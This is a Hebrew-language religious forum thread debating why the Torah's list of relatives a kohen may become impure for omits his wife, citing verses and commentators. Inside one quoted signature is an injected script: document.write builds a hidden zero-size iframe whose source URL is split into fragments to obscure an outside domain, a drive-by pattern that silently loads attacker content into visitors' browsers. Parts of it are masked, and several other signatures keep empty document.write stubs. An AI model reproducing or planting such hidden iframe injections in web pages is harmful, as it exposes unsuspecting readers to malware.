|
|
| נשלח ב-4/5/2018 10:22 |
|
| |
| ירוחםשמ כתב: |  | | הרב מימוני. אני שואל בשביל ללמוד. האם יש דומה לפשט שלך במצוות התורה? מה שהרמב'ם כותב זה לפי חז''ל. כתבתי פעם על כך עם הוכחות כי חז''ל לא כל כך היו בקיאים וידעו מקרא. ראה למשל תוס' ב'ב קיג |
| בתגובתך הראשונה שאלת למה בעצם אדם צריך להטמא לאשתו. היום באמת זו שאלה הגיונית. אבל התורה חשבה אחרת. על כן יעזוב איש את אביו ואיש את אמו ודבק באשת והיו לבשר אחד. אין לאדם קרבה יותר קרובה מאשר אשתו. זה כמובן לפי התורה שבכתב. התורה שבעל פה זה כבר סיפור אחר.
|
|
|
|
| נשלח ב-4/5/2018 13:15 |
|
| |
ירוחם
אני מקיים "מודה ועוזב ירוחמ"...
איקון ירוק מאד.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
|
|
|
|
| נשלח ב-4/5/2018 14:35 |
|
| |
"כמובן השאלה עולה: מה עם אשתו? אם בנו ובתו מאשתו הם קרוביו ועליהם ייטמא, אשתו לא כל שכן?"
אשתו לא כל שכן? רעיון מופרך. ברור שמדובר בכלל ובפרטים. אילו התורה הייתה רוצה להגיד אשתו התורה הייתה כותבת אשתו. התורה לא מתכוונת לאישה כי אישה אפשר להחליף על ידי גירושין ובתאוריה אפשר להחליף גם חמש נשים או יותר אבל מהפירוט בתורה רואים שהכוונה היא לקירבת דם ולא קירבה אחרת . קירבת דם היא קבועה ואי אפשר לשנות אותה.
|
|
|
|
| נשלח ב-6/5/2018 01:53 |
|
| |
אפרים
בהחלט אפשר ללמוד כמו שכתבת אתה. ולכן אנו מתלבטים. אנו - כל הלומדים לדורותיהם.
ועם כל זאת, האם אין דברי רבנו ירוחמ ראיה לצד שלא כמוך?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
|
|
|
|
|
| נשלח ב-6/5/2018 01:59 |
|
| |
ובענין של קודם:
סופר עליו, על יוסף הכהן, שדחפוהו על הגויה. יש אומרים הכהנים ויש אומרים החכמים.
יש לנו עוד שתי דוגמאות (לפי פרוייקט השו"ת שליט"א) של כפיה של חכם לעשות שלא כדעתו. הנה הבולטת שבהן:
תינוקות סמוך לפרקן מחנכין אותן בפני שנה ובפני שתים בשביל שיהו רגילין במצות ר' עקיבא היה מפטיר בבית המדרש בשביל תינוקות שיאכילום אבותיהם מעשה בשמיי הזקן שלא רצה להאכי' את בנו וגזרו עליו והאכילוהו בידו
גם כאן יש לנו חכם שעומד על דעתו - הנושא לויכוח פחות חשוב - וחכמים רוצים לאלצו לנהוג כמותם. מה עושים? גוזרים עליו. מודיעים לו שזו חובה ומצפים ממנו לנהוג כדעתם ולא כדעתו. והוא נכנע ומקבל.
מדוע לא נאמר על יוסף הכהן שגזרו עליו ונטמא? מדוע היה צריך לדחוף אותו? האם בדיבור לבד ובהוראה לבד זה לא היה מספיק? איך אומרים, למה צריך בכוח?
אין לי תשובה אבל השאלה ראויה לדעתי להישאל.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
|
|
|
|
| נשלח ב-6/5/2018 11:36 |
|
| |
אפרים בתורה אין מושג אשתו
.
|
|
|
|
| נשלח ב-6/5/2018 11:44 |
|
| |
"וַיִּקְרָא הָאָדָם שֵׁם אִשְׁתּוֹ חַוָּה כִּי הִוא הָיְתָה אֵם כָּל חָי."
"וַיֵּדַע קַיִן אֶת אִשְׁתּוֹ וַתַּהַר וַתֵּלֶד אֶת חֲנוֹךְ וַיְהִי בֹּנֶה עִיר וַיִּקְרָא שֵׁם הָעִיר כְּשֵׁם בְּנוֹ חֲנוֹךְ."
"וַתַּבֵּט אִשְׁתּוֹ מֵאַחֲרָיו וַתְּהִי נְצִיב מֶלַח."
ויש עוד הרבה אשתו....
|
|
|
|
| נשלח ב-6/5/2018 12:47 |
|
| |
צודק ביותר-
לא השלמתי את מה שרציתי לכתוב. אשתו אינה מופיעה במצוות שאתם צריך לעשות. כי היא כגופו. בן בת מופיעים אשתו לא.
|
|
|
|
| נשלח ב-6/5/2018 12:57 |
|
| |
"כִּי יִקַּח אִישׁ אִשָּׁה חֲדָשָׁה לֹא יֵצֵא בַּצָּבָא וְלֹא יַעֲבֹר עָלָיו לְכָל דָּבָר נָקִי יִהְיֶה לְבֵיתוֹ שָׁנָה אֶחָת וְשִׂמַּח אֶת אִשְׁתּוֹ אֲשֶׁר לָקָח."
|
|
|
|
| נשלח ב-6/5/2018 13:52 |
|
| |
| מיימוני כתב: |  | אפרים
בהחלט אפשר ללמוד כמו שכתבת אתה. ולכן אנו מתלבטים. אנו - כל הלומדים לדורותיהם.
ועם כל זאת, האם אין דברי רבנו ירוחמ ראיה לצד שלא כמוך?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");> |
|
לא. מכיוון שהמילה אשתו כתובה בתורה לא יתכן שהתורה תכתוב שאר בשרו הקרוב אליו במקום בקיצור המילה אשתו. מה גם שההגיון תומך בסברה שכל דבר שניתן להחלפה לא יכולים לומר עליו שאר בשרו הקרוב אליו. לגבי ודבק באשתו והיו לבשר אחד שוב לפי הפרוש הסביר (כמו שרש"י מפרש) -לעניין הזיווג. (שלא היה בקי בזואולוגיה כתב שאצל בעלי חיים אין נאמנות לבת זוג אחת וזה כמובן לא נכון לגבי הרבה מינים.בטבע).
|
|
|
|
| נשלח ב-6/5/2018 16:14 |
|
| |
לא היה בקיאבראשית פרק ז
(ב) מִכֹּל הַבְּהֵמָה הַטְּהוֹרָה תִּקַּח לְךָ שִׁבְעָה שִׁבְעָה אִישׁ וְאִשְׁתּוֹ וּמִן הַבְּהֵמָה אֲשֶׁר לֹא טְהֹרָה הִוא שְׁנַיִם אִישׁ וְאִשְׁתּוֹ:
|
|
|
|
| נשלח ב-6/5/2018 18:13 |
|
| |
| ירוחםשמ כתב: |  | | לא היה בקיאבראשית פרק ז
(ב) מִכֹּל הַבְּהֵמָה הַטְּהוֹרָה תִּקַּח לְךָ שִׁבְעָה שִׁבְעָה אִישׁ וְאִשְׁתּוֹ וּמִן הַבְּהֵמָה אֲשֶׁר לֹא טְהֹרָה הִוא שְׁנַיִם אִישׁ וְאִשְׁתּוֹ:
|
|
מה הקשר ? פה מדובר על הכנסה לתיבת נוח שנוח יכניס לתיבה זכר ונקבה כדי שהמינים לא יכחדו איך זה קשור לנושא של אי נאמנות בעלי חיים בטבע לבת זוג אחת שעליה דיבר הרמב"ן?
|
|
|
|
| נשלח ב-6/5/2018 23:07 |
|
| |
אפרים
כמדומה שההוכחה של ירוחמ היא לא מ"שארו הקרוב", וכפי שכבר הצעתי, זה עשוי להיות כלל ואחריו רשימת פרטים. אשתו לא צריכה להאמר.
כה כתב ירוחמנו:
צודק ביותר- לא השלמתי את מה שרציתי לכתוב. אשתו אינה מופיעה במצוות שאתם צריך לעשות. כי היא כגופו. בן בת מופיעים אשתו לא
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
|
|
|
|
| נשלח ב-7/5/2018 12:53 |
|
| |
מיימוני, איפה? מה הקשר?נמק הדגם והסבר
|
|
|
|
| נשלח ב-7/5/2018 14:56 |
|
| |
כשאתה מקדש בשבת.-זכור- אתה מזכיר את בנך ביתך עבדך ואמתך. משום מה אתה לא מזכיר את אשתך. לא רק אתה אף אחד לא מזכיר את אשתו. נראה לך סביר?
|
|
|
|
|